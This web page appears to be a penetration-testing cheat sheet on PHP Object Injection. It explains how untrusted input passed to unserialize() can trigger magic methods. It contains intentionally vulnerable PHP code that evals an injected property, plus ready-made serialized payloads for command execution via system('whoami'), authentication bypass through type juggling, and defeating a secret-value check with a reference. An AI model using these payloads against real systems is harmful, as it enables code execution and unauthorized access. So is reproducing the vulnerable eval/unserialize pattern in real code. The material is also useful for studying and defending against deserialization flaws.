Skip to main content

php

PHP

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context.

The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

Tools

General Concept

The following magic methods will help you for a PHP Object injection

  • __wakeup() when an object is unserialized.
  • __destruct() when an object is deleted.
  • __toString() when an object is converted to a string.

Also you should check the Phar:// Wrapper in File Inclusion which use a PHP object injection.

vulnerable_code.php

<?php 
class PHPObjectInjection{
public $inject;
function __construct(){
}
function __wakeup(){
if(isset($this->inject)){
eval($this->inject);
}
}
}
if(isset($_REQUEST['r'])){
$var1=unserialize($_REQUEST['r']);
if(is_array($var1)){
echo "<br/>".$var1[0]." - ".$var1[1];
}
}
else{
echo ""; # nothing happens here
}
?>

Craft a payload using existing code inside the application.

  • Basic serialized data

    a:2:{i:0;s:4:"XVWA";i:1;s:33:"Vulnerable Web Application";}
  • Command execution

    string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"

Examples

Authentication Bypass

We can perform PHP Type Juggling (Type Confusion). Lets say our vulnerable code is:

<?php
$data = unserialize($_COOKIE['auth']);

if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
$admin = true;
} else {
$admin = false;
}

Then we can use following payload:

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

Because true == "str" is true.

Object Injection

Vulnerable code:

<?php
class ObjectExample
{
var $guess;
var $secretCode;
}

$obj = unserialize($_GET['input']);

if($obj) {
$obj->secretCode = rand(500000,999999);
if($obj->guess === $obj->secretCode) {
echo "Win";
}
}
?>

Payload:

O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}

We can do an array like this:

a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}